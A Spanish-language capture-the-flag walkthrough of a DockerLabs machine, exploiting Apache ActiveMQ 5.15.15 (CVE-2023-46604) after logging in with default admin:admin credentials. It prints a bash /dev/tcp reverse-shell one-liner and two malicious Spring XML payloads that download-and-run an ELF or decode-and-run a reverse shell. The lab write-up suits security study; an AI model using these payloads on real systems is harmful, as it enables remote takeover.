Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Escaneamos la dirección IP y podemos observar que identificamos 2 puertos.
Al dirigirnos al navegador e ingresamos la dirección IP y podemos observar que se trata de la página de inicio de apache2
.
Realizamos un escaneo de directorios y podemos observar que encontramos el directorio https
.
Ingresamos al directorio, pero no observamos nada relevante. Ya que los botones no redirigen a ninguna página.
Como no encontramos que nos sea útil, volvemos a escanear la dirección IP, pero esta vez más profundo y podemos observar más puertos.
Buscando en cada puerto en el 8161
obtenemos respuesta y nos muestra un pop-up al cual ingresamos credenciales por defecto
admin:admin
y nos redirige a la siguiente página.
Seleccionamos el manage activeMQ broker
y nos dirige a otra pestaña
Donde podemos observar que la versión es la 5.15.15
buscando sobre vulnerabilidades de esta versión podemos ver una explicación y como funciona https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2023-46604
Así también encontramos un exploit el cual clonaremos. https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
nos pide generar por msfvenom
, pero también podemos usar este comando para reemplazar el archivo que se obtendría con msfvenom
echo "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1" | base64
Emplearemos el poc-linux.xml que sería el siguiente.
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<!-- The command below downloads the file and saves it as test.elf -->
<value>curl -s -o test.elf http://0.0.0.0:8001/test.elf; chmod +x ./test.elf; ./test.elf</value>
</list>
</constructor-arg>
</bean>
</beans>
Como no estamos usando el archivo, lo que haremos es reemplazarlo de la siguiente manera.
Usamos el comando y copiamos el resultado para insertar en el archivo poc-linux.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<!-- The command below downloads the file and saves it as test.elf -->
<value>echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzEyMzQgMD4mMQo= | base64 -d | bash</value>
</list>
</constructor-arg>
</bean>
</beans>
Con estas modificaciones hechas iniciamos un servidor con Python.
También iniciaremos nuestro listener.
Y ahora debemos ejecutar el exploit.
Si nos dirigimos a nuestro listener podemos observar que ya se estableció conexión y ya tenemos acceso como root de esta manera culminando esta máquina.